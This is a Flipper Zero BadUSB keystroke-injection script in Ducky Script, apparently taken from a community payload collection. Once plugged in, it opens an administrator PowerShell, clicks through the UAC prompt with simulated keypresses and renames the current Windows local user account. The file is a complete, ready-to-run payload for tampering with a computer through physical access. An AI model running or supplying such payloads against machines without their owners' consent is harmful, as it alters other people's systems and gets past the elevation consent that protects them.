flipper-zero-stuff/badusb/UNC0V3R3D-BadUSB-Collection/Windows_Badusb/Execution/ChangeWinUsername/ChangeWinUsername.txt
2024-08-14 08:38:30 -07:00

27 lines
487 B
Plaintext

REM Author: UNC0V3R3D (UNC0V3R3D#8662 on Discord)
REM Description: Changes the Windows 10 username to the name of your choice.
REM Version: 1.0
REM Category: Execution
DELAY 750
WINDOWS d
DELAY 1500
WINDOWS r
DELAY 1500
STRING powershell Start-Process powershell -Verb runAs
ENTER
DELAY 560
LEFTARROW
DELAY 500
ENTER
DELAY 700
STRING $User = ([Environment]::UserName)
DELAY 300
ENTER
DELAY 500
STRING Rename-LocalUser -Name $User -NewName "New Name"
DELAY 300
ENTER
DELAY 500
exit
ENTER